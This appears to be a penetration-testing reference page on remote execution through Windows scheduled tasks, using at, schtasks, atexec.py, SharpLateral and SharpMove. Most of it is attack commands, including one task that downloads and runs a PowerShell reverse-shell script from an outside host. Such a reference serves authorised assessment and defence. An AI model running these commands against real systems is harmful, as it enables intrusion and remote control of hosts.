AtExec / SchtasksExec
How it works
With administrative access to a Windows host, an operator can create and start a scheduled task remotely. The /S option selects the remote host, /U and /P supply credentials for creating the task when needed, and /RU selects the account under which the task runs. The command referenced by /TR must exist on the remote system.[1]
The older at command can also schedule a command on a remote host when the Schedule service is running. It executes scheduled jobs under the service account, which is commonly SYSTEM:[5]
at \\victim 23:00 shutdown -rCreate the task and then start it:
schtasks /create /S <VICTIM> /TN <TASK_NAME> /TR C:\path\executable.exe /SC ONCE /ST 23:00 /RU SYSTEM
schtasks /run /S <VICTIM> /TN <TASK_NAME>For example:
schtasks /create /S dcorp-dc.domain.local /SC ONCE /ST 23:00 /RU SYSTEM /TN MyNewTask /TR C:\Windows\Temp\payload.exe
schtasks /run /S dcorp-dc.domain.local /TN MyNewTaskFor a recurring weekly task, use a valid weekly schedule and specify the day explicitly:
schtasks /create /S dcorp-dc.domain.local /SC WEEKLY /D MON /ST 23:00 /RU SYSTEM /TN MyWeeklyTask /TR C:\Windows\Temp\payload.exe
schtasks /run /S dcorp-dc.domain.local /TN MyWeeklyTaskA task action can also invoke PowerShell directly. The following lab example downloads and runs a script; host the payload only on infrastructure authorized for the assessment:
schtasks /create /S dcorp-dc.domain.local /SC ONCE /ST 23:00 /RU SYSTEM /TN MyNewTask /TR "powershell.exe -NoProfile -Command \"IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.10/InvokePowerShellTcp.ps1')\""
schtasks /run /S dcorp-dc.domain.local /TN MyNewTaskImpacket’s atexec.py automates remote command execution through the Task Scheduler service and accepts password, NTLM-hash, or Kerberos authentication.[2]
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoamiSharpLateral provides a scheduled-task execution method:[3]
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskNameSharpMove provides another Task Scheduler implementation:[4]
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=passwordMore information about the use of schtasks with silver tickets here.
Remove testing tasks after use:
schtasks /delete /S <VICTIM> /TN <TASK_NAME> /F